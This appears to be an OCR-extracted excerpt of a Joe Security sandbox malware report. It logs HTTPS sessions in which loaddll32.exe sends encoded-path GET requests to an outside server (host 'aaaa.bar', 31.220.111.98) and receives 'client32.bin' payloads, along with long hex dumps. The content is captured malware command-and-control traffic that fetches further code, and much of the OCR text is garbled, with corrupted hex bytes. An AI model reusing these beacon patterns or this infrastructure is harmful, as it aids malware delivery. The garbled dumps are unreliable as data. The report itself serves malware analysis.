99 f2 a5 d4 40 d4 71 e9 23 2c 40 bb 6f eb 96 73 Oe f9 51 ¢8 63 9d 33 49 Oc 31 7e 88 5¢ 3e 3c 15 7 97 48 32 f8 2b e6 fb 88
lae038e7 1358 639de780c5f03eba9l420d 7f cd e9 0d ca e3 el 81 57 5 94 7b 71 2f 6d 7c b4 2a 7 6e 85 74 50
94 a5 43 ¢7 77 00 5e b4 6a c4 a9 37 d4 dc 5f b2 55 b9 d9 f4 el 81 94 56 02 73 a8 36 b4 9e 4c 53 32 2c 31 20 01 8d c0 58
2a fc df b0 40 cf c3 6e e0 e3 b2 9d 67 10 e6 39 cc 37 2e 73 f7 4d 50 e2 6d 58 bd 3a 55 df 58 64 a3 a7 Ob 6a d4 6e al 4d
01 38 6¢ 37 62 fe 10 18 92 15 6¢ d7 7a 2b 46 28 01 c7 58 63 82 80 26 be a3 71 09 9d a3 02 22 2a 19 a5 30 a2 08 40 9a
1c 4f 78 9e 17 cd 38 fe dd 3c 7f 14 42 23 ca 13 19 6e
Data Ascii: [d'[Lqo[{S/}Zn@ @g#,@0sQc3I1~\><H2+8Xc>BW{g/m[*ntPCw"j7_UVs6LS2,1 X*@ng97.sMPmX:UXdjnM8I7
blz+F(Xc&q"*0@0Ox8<B#n
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kBytes
Timestamp transferred

2021-10-20 13:12:10 UTC 1077

Session ID Source IP

16 192.168.2.5
kBytes

Timestamp transferred

2021-10-20 13:12:09 UTC 962

2021-10-20 13:12:10 UTC 995

2021-10-20 13:12:10 UTC 995

Session ID Source IP

17 192.168.2.5
kBytes

Timestamp transferred

2021-10-20 13:12:10 UTC 1092

2021-10-20 13:12:11 UTC 1092

2021-10-20 13:12:11 UTC 1092

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49965

Direction

ouT

Source Port
49967

Direction
ouT

Data

Data Raw: e2 dd d8 1c c8 ef 82 c0 af 65 b2 ce cf 9b cd 9b 52 al {8 80 fe e4 7d a5 36 12 88 cc 61 8a 33 bd 39 e6 58 9f 50
01 1c 4d 01 b4 eb 19 a5 a3 ec 06 45 14 c2 d5 47 4e f9 a8 14 fc a6 64 43 36 fb 29 34 85 de d6 b9 f8 bc 81 aa ee fb 1e e6
dO 7e Oc 8e 4e b9 31 Oc 12 af €9 e6 fd 22 d2 c6 50 16 a6 02 1d 7a 6 2b d3 46 07 4f e6 73 ed 53 38 c2 58 45 28 58 3a bl
6 c3 18 df 96 8a 6f 7e ff 15 c1 12 a6 b6 ac 7f c1 Of ac 94 31 88 b8 1f 5f 74 d9 63 e1 94 11 49 c3 dd 20 d2 c4 78 26 12 f1
60 73 6d 29 bf 09 38 72 79 07 13 3¢ 13 08 1e 76 10 10 55 a4 fc d1 65 f1 a9 7a 28 bd a7 c6 2e ce 43 31 2e 3d 3b b4 7f b0
2e b5 1b 6¢ f5 84 98 81 €2 31 55 d2 a7 40 7e 40 c4 a8 e0 2e f9 ef 8¢ 00 21 f5 26 dd 7c 76 30 ba 5a 76 4f d3 3c 6a e2 da Of
7c 14 76 42 02 d0 a6 c3 58 3a 01 7c e3 74 fa bc

Data Ascii: eR}6a39XPMEGNdC6)4~N1"Pz+FOsS8XE(X:0~1_tcl x& sm)8ry<vUez(.C1.=;.11U@~@.!&|vOZvO<j|vBX:|t

Destination IP Destination Port Process

31.220.111.98 443 C:\Windows\System32\loadd|I32.exe

Data

GET /jdraw/NO7gROKTty/Ogqx9aKgxsT2Y54eU9/T_2Fq68MoL8B/sVtG7ExwGuN/2b4WQXmrNjZgxz/IsPGuUpM_2
FQweZHv_2BB/qSCY Cr2zsOkbh38r/It4yIHc8jFLo0JQ/k2WdhsET8UEtCWKWoz/qKONYcQpl/QBJ1IUtsdnk2R51r
dvsn/Du_2F 2Ftub4vOTulOX/47sdvY8Q/mQd32Pz7EA_2F/N.crw HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)

Host: aaaa.bar

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: lang=en; PHPSESSID=Isnqfh754hfkcfkt83tqpgmdf3

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

Date: Wed, 20 Oct 2021 13:12:09 GMT
Content-Type: application/zip
Content-Length: 1849

Connection: close

X-Powered-By: PHP/5.4.16

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: public

Pragma: no-cache
Content-Transfer-Encoding: Binary
Content-Disposition: attachment; filename=client32.bin

Data Raw: 22 1f 12 32 d8 c6 ba 35 1b ff 2a a8 1c 15 83 72 b3 16 30 ce 8b f2 94 08 32 b5 de 35 dc 20 3e ac 5d 96 4d c1 42
3b eb 46 b9 92 bf 30 9f d0 97 f7 68 13 8c 4f ec d3 8¢ 98 37 3b 38 Oc 51 23 b9 fO b7 b7 68 ff 4b ce a9 e2 e3 Oa fb 3 28 6e
38 b4 86 ed 03 1a b9 b3 8d e3 35 69 c2 0f bd f8 60 4a 2a ba b5 be 77 d8 2¢c 7e 54 ea b0 d2 c4 21 2c 2f 64 67 78 04 20 fb
5 b4 13 84 8f 93 92 a9 da b7 b0 d8 c4 3 26 b2 9b 6b d4 41 a2 c0 2c 65 66 7d 01 c0 92 8f 3e be 38 el 5d 3b d7 Of a8 6f 1f
17 e3 68 76 c4 94 df 75 68 dc cf b3 96 d9 68 a9 37 d4 9e 63 ee bl 03 af 8a 98 78 93 81 67 51 05 29 ae 7 06 1d 8d 12 90
f1 82 ea b8 3a bb 3b 1a 73 ab 17 ff bb 0a ba al e4 5b 0f 0d b8 1e 90 30 67 3c 7b 7f 44 09 be Ob ee fd 94 d7 8d fb 6a e7 6f
b3 40 4c 70 ab fe 15 b8 b5 c7 €8 0d 01 1a 59

Data Ascii: “25*r025 >]MB;FOhO7;8Q#hK(n85i"J*w,~T!,/dgx &kA,ef}>8];0hvuhh7cxgQ):;s[0g<{Djo@LpY

Destination IP  Destination Port Process
31.220.111.98 443 C:\Windows\System32\loaddll32.exe

Data

GET /jdraw/6ybu_2FNdKFOgG/m7orpeXdQJjdHGv7mDMIL/JIfKVVeTDKglgaDX7/GcXqJLIu546KZ6e/n4P40zwLS
G43PTmkn1/t0lauglYi/uThwl2_2Bb89U_2F9plY/Zxq7QGYyY_2FF4AUNHAWI342Y14j)YPKMWYQUNOgvUg/ialVXO
IbfvfYW/_2BuG_2B/Dlgh1sPi5LA4I60pVIFMhDT/0Z5HvD.crw HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)

Host: aaaa.bar

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: lang=en; PHPSESSID=h4s0ka612qu3hrcshs8hb4ig95

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

Date: Wed, 20 Oct 2021 13:12:10 GMT
Content-Type: application/zip
Content-Length: 227913

Connection: close

X-Powered-By: PHP/5.4.16

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: public

Pragma: no-cache
Content-Transfer-Encoding: Binary
Content-Disposition: attachment; filename=client32.bin

Data Raw: 7a d8 e7 e8 5a b1 41 33 b2 bc 98 al 2d 68 13 0f 97 €9 11 38 74 e6 87 20 80 55 24 d2 32 ca b0 b5 fb ef 70 18
d4 d5 42 17 72 8e d5 2f 06 81 8a 8a 11 9a ce 93 ¢7 7d 46 ec 89 6f b9 08 6e f3 9 5b bb 4a 79 2d ee 4e f7 bd 61 1f 44 cd
0a f7 36 20 5a 91 04 8e c1 33 8f f7 b1 d2 4e a6 Oc 00 cd 68 f5 3a 14 99 e6 2b 34 95 d5 2 e2 94 d4 Oc 25 ae 18 03 78 09
8e f0 c5 6d 1b ab 49 c1 ad 79 81 48 e4 18 22 57 b8 52 0d 2c 28 17 6f a0 8b 55 5f 4b b3 ff 20 9e 5b f8 €2 dd 1a 3f da c4 ce
aa 67 12 2e 97 13 2a f0 f8 b1 ff f1 €6 74 f3 a8 1c c9 9e ed 04 cf 21 b7 dc 2c 23 07 33 02 1b {7 d2 cc 06 e3 d7 20 04 e5 45
b7 db 43 76 2e c6 52 d0 4e d3 fe f7 73 59 44 33 b9 94 7e 52 1a 0f 88 95 66 09 Ob 79 84 05 4d 1f b8 a4 eb 7b 33 8a 20 c9
4a la 36 2a 02 4b 45 ec 8¢ 07 04 {7 14 d0 74 ce ec

Data Ascii: zZZA3-h8t U$2pBr/}Fon[Jy-NaD6 Z3Nh:+4%xmlyH"WR,(oU_K [?g.*t!,#3 ECv.RNsYD3~RfyM{3 J6*KEt
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kBytes
Timestamp transferred Direction Data

2021-10-20 13:12:11 UTC 1108 IN Data Raw: 2e 4a 31 ca f3 2b be 89 95 34 73 d7 cb Oc 35 50 c4 f1 24 68 8b 88 fc e3 a7 a4 41 86 f8 78 72 ba 2¢ 90 c1 e3 b3
fd cc d2 05 5¢ b3 e9 df 42 3a 66 1d 3d 9c 30 db dc 67 7b ab 0a 63 9e 99 3a e3 34 02 9b e3 c3 2a 8e 7b Oa Oe d6 b3 13 54
08 d7 62 5¢c c8 8a f5 3f 45 1a 48 f9 ef 9c 14 54 a6 b4 3d 2e 56 59 €6 16 5b 29 3¢ 7b 64 d9 3f 07 fa 80 Oa 6a b7 ba 82 65 f6
e2 03 5¢ 3f 54 5¢c a2 73 0f 30 1a 81 cf 8b e6 ab €2 01 73 Of 1e 18 75 ad 97 26 cb 15 de 15 d6 48 cb 51 79 8f 3f 63 7b 8f f1
92 43 f0 4f 57 de 6¢ 4e ad b8 1f f6 47 b9 a2 d8 bc 92 4a 95 19 03 62 3c 8d 67 62 d1 80 db d2 7 06 37 5¢ 0Of 39 52 04 32
b5 99 20 Oe ee 13 87 8f c5 el 15 23 87 6f d4 a4 3f ae fc ef 14 81 fd fb 27 56 6a a0 df 16 76 77 a2 ca c9 af bc ab 64 2a 89
5d 62 98 bf bb 00 02 3f e2 68 b0 35 6a ef 7e
Data Ascii: .J1+4s5P$hAxr,\B:f=0g{c:4*{Tb\?EHT=.VY[)<{d?je\?T\sOsu&HQy?c{COWINGJIb<gh7\9R2 #0?'Vjvwd*]b?h5j~

2021-10-20 13:12:11 UTC 1124 IN Data Raw: 1b ¢5 c1 52 5d e8 1b 9f 71 ab Oe Ob 8a 06 41 dO 4e b2 cb 38 c5 78 ca 47 e5 5b 37 6b 00 6a a2 3b 43 82 0b 40
3b 9b d6 a7 5¢ ba 97 be 1f e7 ee af 71 bb 24 48 79 84 77 57 bc ab 4e bb 7 97 e6 el 0d 53 9e f0 14 bf 31 5d 58 05 68 f2
a017 71 1c ad 45 3f ae c8 bc a5 aa 93 eb ba c8 a7 67 ac 5¢ eb d9 b1 07 eb 5f 17 c0 18 44 Oc f2 3d e5 81 b3 8a 93 07 8¢
a4 fa 37 bc 6f 4¢c al a0 6e 28 50 74 08 Of 4a 51 66 bb b7 9 2f 6e 3c 71 74 ff d7 8c 9e b5 56 56 9c a7 22 d5 d7 29 76 b5 2e
€9 c9 bb bc 74 89 5e 8b 63 a9 b2 5f 63 13 02 9c 34 83 60 13 85 42 2e a4 07 d3 64 e0 bf ec b0 74 b5 5d 30 8f 37 aa b8 eb
b6 97 ef d8 c1 41 32 84 02 bf ¢5 59 16 51 c4 c9 d5 e2 66 32 ef 4b ab 59 9e 90 a0 d8 db c6 fb 78 77 d3 df b2 65 22 a3 66
bb 19 18 43 48 26 2f b4 dc 7b 68 0d 6e 34 d8 2b d0 43
Data Ascii: RJgAN8XG[7kj;C@;\q$HywWNS1]XhqE?g\_D=70oLn(PtIQf/n<qtVV")v.t"c_c4 B.dtJ07A2YQf2KYxwe"fCH&
/{hn4+C

2021-10-20 13:12:11 UTC 1140 IN Data Raw: 5f 7a 9f 35 09 63 55 53 bb 4b 41 13 f0 91 f8 0a 07 60 7b f7 55 83 b4 a5 17 86 71 27 6b 8d 18 72 f9 43 15 c2 61
8b 60 90 27 €9 c9 13 a2 a0 63 2f 4d 2a 03 5a 41 7f 9f ab 65 3 69 ce 1b 35 41 db 34 ea eb d6 9d 9f 13 e8 da 77 03 6a d8
e8 da 4f Ob 2b 13 51 a4 96 a7 47 32 59 77 45 Oe b9 1f 3f 73 be 78 a0 8b a6 2d 08 2a 52 36 5b 9d ee c1 d3 49 99 23 d5 5b
a7 7583 e2 18 23 e6 f1 ea 0d 54 aa 2d c6 ee 57 34 e5 fb 67 f2 4b 03 93 72 06 90 b3 b6 3e 4b 0d a4 7f 44 69 e4 dc 3f 91
e0 72 6e 51 e4 59 b9 2d 88 6f 71 75 62 c4 aa f8 c6 f9 3f f1 7f cc f0 29 ea 89 7c 41 40 97 26 1c d1 5a 80 46 a4 7e fd 7b 04
Ob 75 65 21 25 9a 05 08 €6 80 cc 1a 48 15 cc ¢7 14 c2 d7 ab bb 00 83 16 00 d3 4e 21 b2 50 29 94 10 54 24 aa c8 23 81
b3 16 c0 fd de fd 17 01 de 7a 04 d1 0f d1 52 69 97 78
Data Ascii: _z5cUSKA{Uq'krCa"'c/M*ZAei5A4wjO+QG2YWE?sx-*R6[I#[u#T-W4gKr>KDi?rnQY-oqub?) A@&ZF~{ue!%
HN!P)T$#zRix

2021-10-20 13:12:12 UTC 1156 IN Data Raw: f6 dc b3 15 4c d1 14 b8 eb 59 b9 el 37 08 b7 e2 48 73 d3 5f 58 44 83 57 60 8a b5 ba 46 dd e5 13 b4 4b 9f fa
b9 3b 16 57 c6 74 ba b7 ca ae da 55 18 25 a9 61 16 1d 54 de c6 Oe 93 ad 72 af 8f 01 7f 9e e5 c2 30 ce 18 65 €9 8d 33 23
21 dd 90 99 be 5a 86 38 60 Oa 64 5e c0 3c 9b 98 4a c1 8a ae e6 0b 47 ee Ob ba db c2 e3 cc 1e f2 82 cf 91 7a 59 09 fb 82
ef d3 2c 94 20 0d b3 b6 8e fe fd 12 23 d6 25 d3 1e 4c 5e f8 72 51 3b 5a 5¢ 95 64 a0 88 22 56 ba 5f d3 14 e8 00 66 ea fb 4f
45 b5 4e 9b 57 cf 89 c4 4e a6 c4 Of dd 04 48 55 f2 4d 05 24 24 c3 51 8a b9 48 c7 c6 d8 6 c9 af f1 de eb 65 ff 4b 63 c3 ea
a4 5d 7b 34 40 46 9d 9a 1f be f2 e5 78 ae 49 25 7f 4a 1c 95 15 02 ba 5f ad 1f 2e 56 d5 e7 19 6f de 86 4e d2 7b 7a de 6d 8
e7 dc 57 f5 23 81 91 3e ab 9d df bf 74 84 26 4b
Data Ascii: LY7Hs_XDW' FK;WtU%aTr0e3#!Z8 d"<JGzY, #%L"rQ;Z\d"V_fOENWNHUM$$SQHeKc{4@Fx1%J_.V
ON{zmW#>t&K

2021-10-20 13:12:12 UTC 1172 IN Data Raw: 20 bc 07 a2 70 Oc ba 65 28 80 61 ab 01 b1 81 37 31 09 a2 al 66 5c 85 4e 97 ed 5b 95 a8 9f 75 75 3d 68 61 73
f3 9a 62 84 80 1b 83 41 4d a0 6a 3c 97 8b d3 01 45 8e 7d cf 25 76 f8 60 d6 85 04 29 da f2 2a 6a f3 5¢ 61 19 53 6a €0 54
b4 c8 d0 3d ec bl f6 a8 41 70 ee a4 81 45 ae cb e4 f8 8e 6b 38 06 eb 05 dd ba 7a af f5 35 93 6b 7d c7 2c 71 20 21 07 81
ac Ob 8d 58 e3 6b 10 ¢6 50 0f 13 ad a6 al 48 72 94 7d dd ce 69 16 50 6f 88 bb 55 6f 6¢ 31 8b ed e7 4b ea a0 cf 38 71 e4
0c f9 89 79 21 01 d8 34 b9 1e 5e 00 38 24 6b ea be e2 59 48 44 b1 52 cd b1 4b f0 70 a9 f8 5e 59 be b8 eb ¢3 7f 82 9¢c 9a
ff 12 47 93 09 c4 42 ba 07 90 86 13 79 cd el 4f f3 2c cf e3 13 d4 63 f4 a7 c6 57 a3 a5 9b 80 40 43 ce 8d 9b eb 6e bd f6 db
92 35 b5 45 df 08 5a f2 df 84 f0 c2 9c 93 80 35 01 ¢8
Data Ascii: pe(a71fiN[uu=hasbAM|<E}%V")*\aSjT=ApEk8z5k},q XkPHr}iPoUol1K8qy!4"8$kYHDRKp"YGBYO,cW@
Cn5EZ5

2021-10-20 13:12:12 UTC 1188 IN Data Raw: 3b 57 ae 94 64 el a2 2f 21 c8 68 fe 83 e9 c0 cc a5 b4 7d ed a7 76 49 ee 30 ac 0d 6b 83 8d 7e 8c ee f8 05 a7
b8 0d 28 e8 9f 3a fb Ob 38 bd fc e6 f8 al f9 86 52 ed 92 14 e5 a5 bb 73 24 43 Oc 32 6b €9 a3 3e 89 f9 40 7e 69 90 4b b7
6a bf 9b fa 8c e4 ad 3a 20 45 36 5a 03 e0 ff 57 aa de 5d 27 4d 6d f8 a4 95 ae 49 02 c3 28 03 59 cd e3 fc €9 10 ac 2e 39
9c 64 22 3e 5a¢2 8157 11 29 68 Oc 61 51 2f dd c5 b5 77 8f 31 ac 3c 48 aa 79 78 74 63 5¢ da a6 49 bc d2 39 01 f1 Of bb
c2 f6 2a 5f 28 b1 0d 45 ca €9 dd 2c 23 c¢9 61 c2 45 e8 64 1d 29 cb b1 7 70 c4 6d Ob 74 3d 1a 6f 20 e9 67 f2 6¢ 6a 67 15 27
d6 86 19 bf d1 31 31 15 ca c2 el 0d 22 f6 cd 34 a4 87 47 81 23 7c 06 aa db 60 22 7b 5d 59 df 70 e6 8f 80 70 c9 d4 2e 2f
2298 bb ad 88 cb b3 3b b0 11 09 ab 1a f3 75 16 9d 3b
Data Ascii: ;Wd/!h}vIOk~(:8Rs$C2k>@~iKj: E6ZW]'MmI(Y.9d">ZW)haQ/wl<Hyxtc\I9*_(E#aEd)pmt=0 gljg'11"4G#|"{]Ypp
Jhu;

2021-10-20 13:12:12 UTC 1204 IN Data Raw: f4 45 5b 10 5c¢ 2d 4f 1a 90 46 e3 a0 a3 5d 2e e4 27 e6 81 b2 37 {3 fe f5 c0 ch e2 5a Oc 85 ¢8 56 8d 72 ef 1d 40
1f bd 5e 9f e2 2¢ 58 0d ce 81 8d 68 22 f1 3e be bl ce 56 8e 96 ed 7f cb 93 2f c6 da 16 3f 14 29 1e 69 9f ec 31 e0 23 9a 44
94 ef 4b d8 d0 c1 08 99 69 29 c8 2a 18 90 5d 29 c6 d0 cf 66 66 b7 01 05 60 Ob 83 1a 6d f9 a0 1d a2 2d 4d a8 5e fc 38 c5
9e 05 82 09 de 00 4f b7 73 ea fb 72 8c cf 67 11 83 58 16 68 e5 c9 91 0f c6 ab 3c ca bl 6f a4 bf 65 e6 a9 54 f6 5¢ e5 52 58
a347c029a5023c 26 7e 7187 43 db e8 e3 12 c2 56 f4 €8 c1 a2 78 c5 10 65 40 9f cb f9 f8 9 72 03 b4 6e 95 83 be c1
6e 77 9d 2a 24 bb 73 49 27 db 0a 07 10 9c 66 19 ba ea 00 22 f3 19 53 e4 al e4 9f 83 db a8 a6 ea 07 ec 20 6f 87 4f c8 Oa
75 cc cc e6 2d fd 2d de 8a 1a 29 f7 1e 23 9e 84
Data Ascii: E[\-OF].'7ZVr@",Xh">V/?)i1#DKi)*])ff m-M*80srgXh<oe T\RXG)<&~qCVxe@rnnw*$sl'f'S oOu--)#

2021-10-20 13:12:12 UTC 1220 IN Data Raw: b0 34 69 ae f2 ed 91 62 cf 4c f2 04 e4 81 46 be 40 88 33 ea 12 7f 56 54 38 6e db 40 6d 51 a2 77 ae 02 c6 38 fe
95 2b 17 d7 46 6d 99 c8 3d a7 24 23 10 19 04 2e 3f b8 3d 3c 61 b3 75 82 al db 73 32 a3 ba 8c 74 19 28 b4 61 32 ce 18
c2 a7 b8 29 64 f0 59 ea 32 6e 80 1c e4 08 95 08 11 60 54 47 4f 6e a4 5¢ 7e 63 6d 92 07 c8 8d 02 05 b3 5f 8e 4d dd 31 80
60 af 08 f7 83 2a 1c 25 60 dO f5 0d dc 79 5d 9d f6 32 fa 40 07 fO Od a6 f3 a4 7c 6e 95 c0 37 Of b2 6 fd 4c a0 42 ea 19 f4 5¢
ae dd 23 9b 7 bb d5 6f Oc 63 d1 92 98 60 b3 c4 66 10 04 d9 51 49 7c 5e 2a 52 89 d4 a2 la ee db f4 56 d6 53 c7 b3 05 c1
44 71 f4 45 8a b0 67 98 7d 76 d2 c0 €9 48 78 c3 e4 75 71 8b 47 b9 c0 41 8a 1c 15 d7 33 95 c1 46 41 8d 8f bd b8 6b 7c 5d
0b 00 3c fb f4 92 c9 be 97 92 fc 29 98 dc 54 40 51
Data Ascii: 4ibLF@3VT8n@mQw8+Fm=$#.?=<aus2t(a2)dY2n TGOn\~cm_M1"*%'y]2@|n7LBX#oc fQI|**RVS
DgEg}VHXUqGA3FAK|]<)T@Q

2021-10-20 13:12:12 UTC 1236 IN Data Raw: a6 7e c3 d7 27 38 80 6d 49 5d ad 80 7b 43 c3 fc 9a 87 9f 53 3a b7 14 15 97 8a 69 87 72 bc 3c a7 88 le 34 ff
Oe d6 ba 8e 0f 5d 42 b0 9a d6 48 bf 3d 19 e5 d6 3e 7b 3b 5f 5e b8 5d 9f a4 ac b0 8e a3 bb €9 89 1e 98 2 24 ce 4f d6 42
b4 09 c7 14 65 d4 28 df 25 8d fd 27 a5 fc 9a 08 3c 41 73 ca 7e 2c b9 b3 10 20 d0 50 ad 19 1f 23 a0 13 9¢ 55 b8 30 b4 ed
€306 18 78 7c 56 12 8e 4d dd 81 ab 9f 21 dc bl 8a 1e aa 8d 1b d5 4b e4 66 9c c8 fc 23 e2 16 65 0f 60 75 d1 21 8f 15 4e
4c 9f ef 63 22 84 4b 27 19 d0 65 1c ff cO 40 8f 76 82 c9 84 e6 Oc 61 f7 d3 32 8a 48 e6 f8 d6 8c 63 4a 68 b4 7b 5e bd f8 69
f6 a9 61 13 bf 1a 14 4d 37 04 c2 f8 f3 78 71 1f 87 78 1c ed ae 8f 85 45 7e a4 e4 9f 1d be 25 ea 73 b0 1c 81 9b ee 91 31 b2
97 03 2f 7c b8 3e 09 86 68 fO fe Oc 26 42 85 4a 1la
Data Ascii: ~'8mI}{CS:ir<4]BH=>{;_7]$OBe(%'<As~, P#U0x|VM!Kf#e ulNLc"K'e@va2HcIh{"iaM7xgqxE~%s1/|>h&BJ
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kBytes
Timestamp transferred

2021-10-20 13:12:13 UTC 1252

2021-10-20 13:12:13 UTC 1268

2021-10-20 13:12:13 UTC 1284

2021-10-20 13:12:13 UTC 1300

Session ID Source IP

18 192.168.2.5
kBytes

Timestamp transferred

2021-10-20 13:12:13 UTC 1315

2021-10-20 13:12:14 UTC 1315

2021-10-20 13:12:14 UTC 1316

Session ID Source IP

19 192.168.2.5
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49968

Direction

ouT

Source Port

49969

Direction

Data

Data Raw: ad e0 d1 12 29 22 49 f9 a7 34 97 6f 16 37 a2 81 a9 13 85 99 88 2d b8 18 ed ea 94 02 b8 22 70 88 Oc 4e Oe 1b
0037 07 5d 64 37 f1 6a 4c 38 7a f2 3a 1b 46 ef 40 57 8¢ el 17 93 3c a3 4b 92 85 6a 10 e7 3f 00 44 98 2b c3 fa ee 7f 6b 37
fb da 91 35 cf 6a 80 66 60 87 9f 24 9d 96 42 04 c0 b3 9a 33 cc 61 ca 16 f3 ed e7 ea a7 3a 20 0f e8 34 ed 80 fe f9 c1 74 5d
e2 f9 4a 63 04 d3 49 a0 05 Oa f8 4a d1 0a 90 61 6a 78 cd d8 dO bd e8 5d 41 37 ce 31 6a 1a 93 62 b6 40 78 c3 39 a0 e3 b5
1d 16 c7 a4 52 64 c1 al 86 59 17 c6 04 73 90 dc 81 c5 b8 85 f8 c8 87 c0 a5 92 a0 ed 29 c2 60 be 4c e0 €9 2e 7b 3f fd 5b
0f a7 d8 d8 2b 82 e3 60 b6 29 35 2b 35 eb de 6d d5 5b 09 af 1e 19 62 3c c6 34 06 bb 37 el 4c c6 d5 6a Oc e7 7e d4 bc 17
02 40 74 1f 2d 3c fc d2 07 5e 59 fc 92 9e d4 c9 59

Data Ascii: )"1407-"pN7]d7jL8z:F@W<K|?D+k75jf $B3a: 4t]JclJajx]A71jb@x9RdYs) L.{?[+")5+5m[b<47Lj~@t-<"YY

Data Raw: 1d 15 22 2b 66 85 73 55 9e f6 5d a8 ee ce a7 ad e3 06 87 85 cc aa 6b f2 42 fd 2e 71 66 12 47 8e 4f 20 98 2 f2
2f c8 e4 86 04 6d 89 5a 47 41 b4 c5 b3 2c b5 72 11 ed ba 4a 11 d8 c5 78 7a 07 5e 3a 35 5b 79 1b ea f0 cd 1c 51 ca d6 3f
7c2a833378eaf8ald2535601d8bcf070e3c756dl49 7c 69 88 45 fd 9e f8 75 51 b3 6b 86 60 ec 24 61 d5 01 53
6 dd 5f dO fc 4a c2 a4 a7 9a el 19 6e 91 30 ef 70 fc 6b 93 3c 90 c8 f6 19 fc a6 ce fc 4e 06 d6 48 8f d3 2d 9d 12 97 9d 2e
cb d0 Of ee ¢6 9¢c 88 05 10 81 d9 1b 82 d6 24 26 e5 f9 81 16 d7 c4 21 f4 8d 80 59 6e 21 72 al 30 24 dc 56 eb 1e c2 33 72
fe 43 94 d6 7 89 b8 f9 cO bd e3 2a fb 80 da Of al ff 1d 43 89 84 1a b5 ef f5 db bc €9 79 91 d6 80 6d 40 24 9f 96 b2 01 78
4a 45 bf 58 84 4b 5e 45 41 b6 5b 47 0d e4 3b e4

Data Ascii: "+fsU]kB.qfGO /mZGA,rdxz":5[yQ?|*3xSVpVI|iIEuQk $aS_Jn0pk<NH-.$&!Yn!r0$V3rC*Cym@$xJEXK EA[G;

Data Raw: 2e fb d7 0d cb 00 dd e6 64 4f 12 08 ca b5 65 15 ea dd 61 cf 59 a0 04 52 6d 3a 86 4a 5c 6f 3c 6¢ 28 15 af b6 dO
89 01 51 da 89 16 c7 3c 79 9b 77 68 ca cd 8c 91 5e f7 6f 51 58 f6 11 eb 66 c3 96 07 b5 3c 1f 26 a5 27 0a 26 66 13 20 26
le ed 1f 1e 48 82 7f 31 c3 3e 11 2e 36 52 61 d9 12 a3 8a 5b d8 ad 2e eb c4 f5 02 a5 f3 57 48 23 3e €2 49 bc 1c 72 e8 1d
423484 0c e4 4b 29 19 0d 98 88 d1 f8 85 30 f5 bc 13 32 3e d8 76 cb 37 60 de ac 31 9d bc c1 16 d8 ea 49 2d d5 70 d8 18
86 la c3e6 5c b3 d0 1554 d4 a9 76 e7 43 90 50 a7 09 85 d6 8b 54 00 3d d6 c1 cd 33 €9 99 9b 62 8d Ob 61 48 63 fd 51
6859 24 9e e2 b2 37 dd ce 4a 4e ba 5e 02 84 db 7f 49 bd al c0 de 66 €3 69 a4 1f 2a Oc 67 99 85 fb 24 98 b2 ab 69 af 8e
8c 62 79 8c Oc 4b d4 5d 7a 2f 03 f4 f8 ac 01 36 31 ab 4a

Data Ascii: .dOeaYRm:J\o<l(Q<ywh"oQXf<&'&f &H1>.6Ra[.WH#>IrB4K)02>v7 1I-p\TvCPT=3baHcQhY$7INAIfi*g$i
byK]z/61J

Data Raw: 9a fa 62 32 5e b9 ab 85 b9 ab 50 c2 4a 8f c4 09 06 ae d5 bc 3a f3 8f fO af d1 30 Ob 9a cf 47 a5 60 5a 9d a6 b3
3 db df 96 fO 20 0d a5 af d2 f4 64 bd 31 f5 be 5d f3 c¢5 fa 96 bb b3 a5 6d de cc Ob f5 bf 50 97 43 de 4f 1a 6d 46 32 20 ed 7C
40 f0 8e 52 f1 9b a7 17 20 51 75 c9 52 fO df 6f 73 c6 07 1d 2a 25 36 cb 2a 6f 45 b8 56 ed 01 4a f2 36 7a e4 02 b6 48 2f 27
9c 06 4a 19 1f 1d 07 33 7c 4d d9 28 2c 7d 74 84 5¢c 11 7c¢ 58 97 9d 6a ab dd eb d2 6¢ d9 06 63 cc 3e 4a da c1 53 67 47 fc
ef 52 94 5a 60 47 3b a9 3c 3b 31 a2 8e 39 86 a6 02 7d 89 e6 27 f4 64 49 f4 28 Oe 30 dc Oc 71 Oc 45 b0 da 9e ea 87 8e 11
ac 2c 22 ca 4e 8d 3f ae 3f 71 19 52 29 a0 82 9e 3b eb db c6 1e bf €9 4e bl 8b 87 d5 1f 14 a3 8a 84 41 34 77 05 fa 28 d8
dd ef 95 86 ec 0f 8d cb 65 Oc f0 72 {7 2a fa

Data Ascii: b2"PJ:0G"Z d1]JmPCOmF2 p@R QuR0s*%6*0EVJ6zH/I3IM(,}t\|Xjlc>ISgGRZ G;<;19}'dI(0gE,"N??gR)
iNAdw(er*

Destination IP Destination Port Process

31.220.111.98 443 C:\Windows\System32\loaddII32.exe

Data

GET /jdraw/hgka30Wii/310g5rEnSRjUxODbgauN/3Qomlb_2B617h2xIFjq/YffmBTpCRrKICahwBmdROz/L3L_2BpluTz9H/c
hSyKjwO/nOFR27CV_2B_2FzpXk9iMJIC/P_2Fk2e7Yv/b_2BW31QojrkMDFWC/tZHFJBU8IQgI/OZI9INXt600/sFuO
UiC9FGcBD8/qZGUVX5D_2FYXiueA015K/GMENnEsw.crw HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)

Host: aaaa.bar

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: lang=en; PHPSESSID=h4s0ka612qu3hrcshs8hb4ig95

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

Date: Wed, 20 Oct 2021 13:12:13 GMT
Content-Type: application/zip
Content-Length: 1849

Connection: close

X-Powered-By: PHP/5.4.16

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: public

Pragma: no-cache
Content-Transfer-Encoding: Binary
Content-Disposition: attachment; filename=client32.bin

Data Raw: 22 1f 12 32 d8 c6 ba 35 1b ff 2a a8 1c 15 83 72 b3 16 30 ce 8b f2 94 08 32 b5 de 35 dc 20 3e ac 5d 96 4d c1 42
